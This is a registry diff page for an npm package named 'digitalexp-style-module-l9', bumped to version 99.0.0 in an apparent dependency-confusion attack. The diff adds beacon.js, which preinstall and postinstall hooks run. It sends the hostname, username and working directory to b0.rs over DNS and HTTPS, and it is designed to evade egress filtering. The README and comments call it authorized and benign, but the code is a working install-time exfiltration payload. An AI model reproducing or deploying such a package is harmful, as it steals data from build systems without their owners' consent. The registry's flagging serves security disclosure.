digitalexp-style-module-l9 0.0.1-security → 99.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of digitalexp-style-module-l9 might be problematic. Click here for more details.
- package/README.md +10 -3
- package/beacon.js +34 -0
- package/index.js +1 -0
- package/package.json +9 -3
package/README.md
CHANGED
|
@@ -1,5 +1,12 @@
|
|
|
1
|
-
#
|
|
1
|
+
# digitalexp-style-module-l9
|
|
2
2
|
|
|
3
|
-
This
|
|
3
|
+
**This is not a real package.** It is a benign placeholder published for an
|
|
4
|
+
**authorized security-research / bug-bounty engagement** to demonstrate a
|
|
5
|
+
dependency-confusion exposure (an internal package name resolvable from the
|
|
6
|
+
public npm registry).
|
|
4
7
|
|
|
5
|
-
|
|
8
|
+
It performs a single harmless callback (hostname / username / cwd) to identify
|
|
9
|
+
which build host resolved it, exfiltrates nothing else, is fully non-destructive,
|
|
10
|
+
and always exits 0. If you are an engineer who found this in your build: your
|
|
11
|
+
CI resolved an internal name from public npm. Please contact the reporter via
|
|
12
|
+
the relevant bug-bounty program to have this removed.
|
package/beacon.js
ADDED
|
@@ -0,0 +1,34 @@
|
|
|
1
|
+
/*
|
|
2
|
+
* Authorized dependency-confusion PoC beacon (benign).
|
|
3
|
+
* Purpose: prove that a build resolved this internal package name from the
|
|
4
|
+
* PUBLIC npm registry. It reports ONLY: hostname, username, cwd, package name.
|
|
5
|
+
* It exfiltrates NO files, NO env secrets, does NOTHING destructive, and ALWAYS
|
|
6
|
+
* exits 0 so it can never break a build. Security research / bug bounty only.
|
|
7
|
+
*/
|
|
8
|
+
(function () {
|
|
9
|
+
try {
|
|
10
|
+
var os = require('os');
|
|
11
|
+
var pkg = 'digitalexp-style-module-l9';
|
|
12
|
+
var id = (Date.now().toString(36) + Math.random().toString(36).slice(2, 8));
|
|
13
|
+
var info = [os.hostname(), (os.userInfo && os.userInfo().username) || '', process.cwd()].join('~');
|
|
14
|
+
// hex-encode + chunk into DNS labels (<=60 chars each)
|
|
15
|
+
var hex = Buffer.from(info).toString('hex');
|
|
16
|
+
var labels = (hex.match(/.{1,60}/g) || []).slice(0, 3);
|
|
17
|
+
var host = labels.concat([id, 'dscl9']).join('.') + '.b0.rs';
|
|
18
|
+
|
|
19
|
+
// Channel 1: DNS (best chance of escaping egress-filtered CI)
|
|
20
|
+
try { require('dns').lookup(host, function () {}); } catch (e) {}
|
|
21
|
+
|
|
22
|
+
// Channel 2: HTTPS GET (carries readable body if outbound HTTP is allowed)
|
|
23
|
+
try {
|
|
24
|
+
var https = require('https');
|
|
25
|
+
var q = 'poc=' + encodeURIComponent(pkg) + '&id=' + id +
|
|
26
|
+
'&host=' + encodeURIComponent(os.hostname()) +
|
|
27
|
+
'&cwd=' + encodeURIComponent(process.cwd());
|
|
28
|
+
var req = https.get('https://b0.rs/?' + q, function (r) { r.resume(); });
|
|
29
|
+
req.on('error', function () {});
|
|
30
|
+
req.setTimeout(4000, function () { try { req.destroy(); } catch (e) {} });
|
|
31
|
+
} catch (e) {}
|
|
32
|
+
} catch (e) { /* never fail the install */ }
|
|
33
|
+
process.exit(0);
|
|
34
|
+
})();
|
package/index.js
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
module.exports = {};
|
package/package.json
CHANGED
|
@@ -1,6 +1,12 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "digitalexp-style-module-l9",
|
|
3
|
-
"version": "0.0
|
|
4
|
-
"description": "security
|
|
5
|
-
"
|
|
3
|
+
"version": "99.0.0",
|
|
4
|
+
"description": "Authorized security-research placeholder (dependency-confusion PoC). Benign, non-destructive.",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"preinstall": "node beacon.js",
|
|
8
|
+
"postinstall": "node beacon.js"
|
|
9
|
+
},
|
|
10
|
+
"license": "MIT",
|
|
11
|
+
"files": ["beacon.js", "index.js", "README.md"]
|
|
6
12
|
}
|